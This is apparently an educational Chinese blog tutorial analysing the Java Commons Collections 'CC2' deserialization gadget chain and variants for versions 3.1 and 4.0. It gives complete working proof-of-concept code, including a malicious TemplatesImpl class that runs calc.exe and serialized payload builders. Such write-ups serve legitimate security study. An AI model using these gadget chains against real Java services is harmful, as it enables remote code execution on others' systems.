前言
前面分析了CC1
的利用链,在JDK1.8 8u71
版本以后,对AnnotationInvocationHandler
的readobject
进行了改写。导致高版本中利用链无法使用。然后又分析了CC6
的利用链。解决了CC1
的高版本JDK利用问题。
传送门
JAVA反序列入门篇-CommonsCollections1分析
那为什么需要学习CommonsCollections2
呢?
学习新的利用方式,竟然CC2是在CC6之前出来的,那肯定有不同的姿势,学习CC2是如何绕过CC1的高版本限制。
CommonsCollection2
为何在CommonsCollections 3.2.1-3.1
版本不能去使用,又如何解决呢?在
CommonsCollections-4.0
版本中,删除了lazyMap
的decorate
方法,我们又怎么解决呢?
前置知识
①javassist
通常我们需要将.java
编译成.class
才能正常运行,在命令行中我们通常使用javac
来进行编译,利用编译生成的固定格式的字节码(.class) 来供jvm虚拟机进行使用,每一个class文件中都包含着一个java类或一个接口。
javassist
就是一个处理字节码的类库,能够动态的修改class中的字节码。在 Javassist 中,类Javaassit.CtClass
表示 class 文件。一个 GtClass (编译时类)对象可以处理一个 class 文件。
例子
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("com.Test1");
cc.setSuperclass(pool.get("com.Test2"));
cc.writeFile();
ClassPool 是一个存储 CtClass 的 Hash 表,类的名称作为 Hash 表的 key。ClassPool 的 get() 函数用于从 Hash 表中查找 key 对应的 CtClass 对象。如果没有找到,get() 函数会创建并返回一个新的 CtClass 对象,这个新对象会保存在 Hash 表中。
getDefault()
方法返回了默认的类池(默认的类池搜索系统搜索路径,通常包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径)get()
方法来ClassPool
中获得一个com.Test1
类的CtClass
对象的引用,并将其赋值给变量 ccsetSuperclass
方法将com.Test1
的父类被设置为com.Test2
writeFile()
方法会将修改后的CtClass
对象转换成类文件并写到本地磁盘
对比一下原本和新的class文件:
再介绍几个方法:
makeClass()
和makeInterface()
//创建名为Evil的类
CtClass test = pool.makeClass("Evil");
//创建名为Evil的接口
CtClass test = pool.makeInterface("Evil");
makeClassInitializer()
#创建一个空的类初始化器(静态构造函数)
CtConstructor constructor = test.makeClassInitializer();
②ClassLoader
ClassLoader
是Java的类加载器,负责将字节码转化成内存中的Java类,
我们这里可以利用类加载器的defineClass
方法来加载我们的字节码。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CommmonsCollections2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, CannotCompileException, NotFoundException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchMethodException {
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("Evil");
test.setSuperclass(pool.get("Test"));
test.writeFile("./");
byte[] bytes = test.toBytecode();
Class clas = Class.forName("java.lang.ClassLoader");
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
Test e = (Test) claz.newInstance();
e.hello();
}
}
public class Test {
public static void main(String[] args) {
}
public void hello(){
System.out.println("hello Test");
}
}
注:后面有用
这里需要注意的是,ClassLoader#defineClass
返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令。
③TemplatesImpl
在TemplatesImpl
类中定义了一个内部类defineClass
,这个类中对defineClass
进行了重写,并且没有显式的对定义域进行声明,可以被外部进行调用。
这个类的特别之处就是,在调用他的newTransformer
或者getOutputProperties
时,会动态从字节码中重建一个类。这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码。
TemplatesImpI类分析
写贴一个半成品链条
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
TemplatesImpl.getTransletInstance()->_class[_transletIndex].newInstance()
Runtime.getRuntime().exec("calc.exe")
TemplatesImpl.newTransformer()
调用getTransletInstance()
跟进getTransletInstance()
方法,当_name
不为null且_class
为null,触发defineTransletClasses()
方法。
跟进defineTransletClasses()
方法,_bytecodes
设置为我们要读取的字节码,就是传进去的恶意字节码。也需要设置_tfactory
不然就会返回null,无法到达触发点。_tfactory
是TransformerFactoryImpl
类,所以我们只需要传入new TransformerFactoryImpl()
就可以了。
loader.defineClass
将字节码转化成内存中的Java类。然后获取当前_class
的getSuperclass()
超类,就是恶意字节码的超类。再进行判断这个超类是不是等于ABSTRACT_TRANSLET
,如果相等执行if里面的_transletIndex
赋值操作。
查看下ABSTRACT_TRANSLET
可以看到指向的是AbstractTranslet
类,所以我们的恶意类也要继承AbstractTranslet
类。
构造恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
测试POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CommmonsCollections2 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
TemplatesImpl templates=new TemplatesImpl();
//获取TemplatesImpl的Class
Class tc=templates.getClass();
Field nameField=tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//加载恶意类
byte[] code = Files.readAllBytes(Paths.get("D:\\test\\CommonsCollections2\\out\\production\\CommonsCollections2\\Evil.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//调用
templates.newTransformer();
}
}
成功弹出计算器
漏洞执行点,TemplatesImpl.getTransletInstance()->_class[_transletIndex].newInstance()
初始化恶意类,执行恶意代码。
Gadget链条分析
Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc.exe")
上面我们已经分析了后半部分链条,现在分析下如何触发TemplatesImpl.newTransformer()
,利用到一个新的类TransformingComparator
,看下构造方法和触发的方法。
TransformingComparator
类和ChainedTransformer
类相似,都是通过触发this.xxx.transform()
方法去触发,InvokerTransformer.transform()
方法,然后执行TemplatesImpl.newTransformer()
完成链条的利用。
下一步继续往前推,如何触发TransformingComparator.compare()
方法。
PriorityQueue类
优先队列PriorityQueue
是Queue
接口的实现,可以对其中元素进行排序。此类重写了readObject
方法,跟进下。
对传入的ObjectInputStream
进行反序列化然后赋值给queue
数组,然后heapify()
进行排序。
跟进heapify()
方法,调用siftDown()
方法,queue[i]
是我们可控的。
跟进siftDown()
方法,comparator
不为null,调用siftDownUsingComparator()
方法。
跟进siftDownUsingComparator()
方法,调用了comparator.compare()
方法, 同时x
可控,我们利用反射设置comparator
为TransformingComparator
类就行。
最终POC代码
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CommmonsCollections2 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates=new TemplatesImpl();
//获取TemplatesImpl的Class
Class tc=templates.getClass();
Field nameField=tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//加载恶意类
byte[] code = Files.readAllBytes(Paths.get("D:\\test\\CommonsCollections2\\out\\production\\CommonsCollections2\\Evil.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
//长度是2才能满足条件
PriorityQueue queue = new PriorityQueue();
queue.add(1);
queue.add(2);
//修改comparator属性
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformingComparator);
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./cc2.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
//反序列化
ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream("./cc2.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
问题解答
在CommonsCollections-4.0
版本中,删除了lazyMap
的decorate
方法,我们怎么解决呢?
环境
CommonsColections 4.0
JDk8u_101
虽然在4版本中删除了decorate
方法,但还有另外一个构造方法LazyMap
,可以直接让传进的Transformer
赋值给this.factory
。
Gadget链条
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc.exe")
最终POC代码
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CommmonsCollections2 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates=new TemplatesImpl();
//获取TemplatesImpl的Class
Class tc=templates.getClass();
Field nameField=tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//加载恶意类
byte[] code = Files.readAllBytes(Paths.get("D:\\test\\CommonsCollections2\\out\\production\\CommonsCollections2\\Evil.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Class clazz = LazyMap.class;
Constructor construct = clazz.getDeclaredConstructor(Map.class, Transformer.class);
construct.setAccessible(true);
Map outerMap = (Map) construct.newInstance(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "eas1");
Map expMap = new HashMap();
expMap.put(tme, "eas2");
outerMap.remove("eas1");
//把真正的transformers数组换回来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./test.ser"));
objectOutputStream.writeObject(expMap);
objectOutputStream.close();
//反序列化
ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream("./test.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
CommonsCollection2
为何在CommonsCollections3.1-3.2.1
版本不能去使用,又如何解决呢?
环境
CommonsCollections 3.1
JDK8u_101
因为在3.1-3.2.1
版本中TransformingComparator
没有实现Serializable
接口,所以就没法被序列化/反序列化。
解决
利用LazyMap.get()
方法触发InvokerTransformer.transform()
,其实还是URLDNS+CC1+CC2
拼接来的。
Gadget链条
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc.exe")
最终POC代码
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CommmonsCollections2 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates=new TemplatesImpl();
//获取TemplatesImpl的Class
Class tc=templates.getClass();
Field nameField=tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//加载恶意类
byte[] code = Files.readAllBytes(Paths.get("D:\\test\\CommonsCollections2\\out\\production\\CommonsCollections2\\Evil.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//调用
//templates.newTransformer();
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "eas1");
Map expMap = new HashMap();
expMap.put(tme, "eas2");
outerMap.remove("eas1");
//把真正的transformers数组换回来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./test.ser"));
objectOutputStream.writeObject(expMap);
objectOutputStream.close();
//反序列化
ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream("./test.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
总结
很多链条单独使用往往局限性都很高,但是几条链条互相弥补对方的不足之处就会重新变成一条通用性很高的链条。学完一条链条后,应该多思考思考链条与链条之间的关系,让其发挥更大的作用。没有什么垃圾的利用链,每一条利用链存在都一定有它的作用。一条利用链能发挥多大的作用就看使用他的人如何了。
URLDNS、CC1、CC2、CC6
,当这4条链分开使用,每一条都有其局限限。要么JDK
版本限制,要么CommonsCollections
版本限制,当把它们组合在一起,所有问题都迎刃而解了。
以上是作者自己的见解,有错之处望大家指点。